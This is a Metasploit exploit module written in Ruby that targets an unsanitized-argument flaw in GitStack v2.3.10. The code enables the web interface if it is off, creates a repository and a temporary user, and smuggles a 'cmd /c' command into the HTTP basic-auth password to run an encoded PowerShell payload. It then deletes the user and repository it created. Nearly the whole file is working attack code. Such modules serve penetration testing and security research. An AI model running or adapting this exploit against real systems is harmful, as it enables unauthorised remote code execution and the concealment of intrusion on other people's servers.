## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'GitStack v2.3.10 Unsanitized Argument', 'Description' => %q{ This module exploits a remote code execution vulnerability in GitStack v2.3.10, caused by an unsanitized argument being passed to an exec function call. Earlier version of GitStack may be affected. }, 'License' => MSF_LICENSE, 'Author' => [ 'Kacper Szurek', # Vulnerability discovery and PoC 'Jacob Robles' # Metasploit module ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Platform' => 'win', 'Payload' => { 'BadChars' => "\x00" }, 'Targets' => [['Automatic', {}]], 'Privileged' => true, 'DisclosureDate' => 'Jan 15 2018', 'DefaultTarget' => 0)) register_options([Opt::RPORT(80)]) end def check_web begin res = send_request_cgi({ 'uri' => normalize_uri('/rest/settings/general/webinterface/'), 'method' => 'GET' }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 if res.body =~ /true/ vprint_good('Web interface is enabled') return true else vprint_error('Web interface is disabled') return false end else print_error('Unable to determine status of web interface') return nil end end def check_repos begin res = send_request_cgi({ 'uri' => '/rest/repository/', 'method' => 'GET', }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin mylist = JSON.parse(res.body) rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") return nil end unless mylist.length == 0 vprint_good('Repositories found') return mylist else vprint_error('No repositories found') return false end else print_error('Unable to determine available repositories') return nil end end def update_web(web) data = {'enabled' => web} begin res = send_request_cgi({ 'uri' => '/rest/settings/general/webinterface/', 'method' => 'PUT', 'encode' => true, 'data' => data.to_json }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") end end def create_repo repo = Rex::Text.rand_text_alpha(5) c_token = Rex::Text.rand_text_alpha(5) data = "name=#{repo}&csrfmiddlewaretoken=#{c_token}" begin res = send_request_cgi({ 'uri' => '/rest/repository/', 'method' => 'POST', 'cookie' => "csrftoken=#{c_token}", 'data' => data }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") return repo else print_status('Unable to create repository') return nil end end def delete_repo(repo) begin res = send_request_cgi({ 'uri' => "/rest/repository/#{repo}/", 'method' => 'DELETE' }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") else print_status('Failed to delete repository') end end def create_user user = Rex::Text.rand_text_alpha(5) pass = user data = "username=#{user}&password=#{pass}" begin res = send_request_cgi({ 'uri' => '/rest/user/', 'method' => 'POST', 'encode' => true, 'data' => data }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("Created user: #{user}") return user else print_error("Failed to create user") return nil end end def delete_user(user) begin res = send_request_cgi({ 'uri' => "/rest/user/#{user}/", 'method' => 'DELETE' }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") else print_status('Delete user unsuccessful') end end def mod_user(repo, user, method) begin res = send_request_cgi({ 'uri' => "/rest/repository/#{repo}/user/#{user}/", 'method' => method }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 vprint_good("#{res.body}") else print_status('Unable to add/remove user from repo') end end def repo_users(repo) begin res = send_request_cgi({ 'uri' => normalize_uri("/rest/repository/#{repo}/user/"), 'method' => 'GET' }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end if res && res.code == 200 begin users = JSON.parse(res.body) users -= ['everyone'] rescue JSON::ParserError => e print_error("Failed: #{e.class} - #{e.message}") users = nil end else return nil end return users end def run_exploit(repo, user, cmd) begin res = send_request_cgi({ 'uri' => "/web/index.php?p=#{repo}.git&a=summary", 'method' => 'GET', 'authorization' => basic_auth(user, "#{Rex::Text.rand_text_alpha(1)} && cmd /c #{cmd}") }) rescue Rex::ConnectionRefused, Rex::ConnectionTimeout, Rex::HostUnreachable, Errno::ECONNRESET => e print_error("Failed: #{e.class} - #{e.message}") end end def exploit command = cmd_psh_payload( payload.encoded, payload_instance.arch.first, { :remove_comspec => true, :encode_final_payload => true } ) fail_with(Failure::PayloadFailed, "Payload is too big") if command.length > 6110 web = check_web repos = check_repos if web.nil? || repos.nil? return end unless web update_web(!web) # Wait for interface sleep 8 end if repos pwn_repo = repos[0]['name'] else pwn_repo = create_repo end r_users = repo_users(pwn_repo) unless r_users.nil? || r_users == [] pwn_user = r_users[0] run_exploit(pwn_repo, pwn_user, command) else pwn_user = create_user if pwn_user mod_user(pwn_repo, pwn_user, 'POST') run_exploit(pwn_repo, pwn_user, command) mod_user(pwn_repo, pwn_user, 'DELETE') delete_user(pwn_user) end end unless web update_web(web) end unless repos delete_repo(pwn_repo) end end end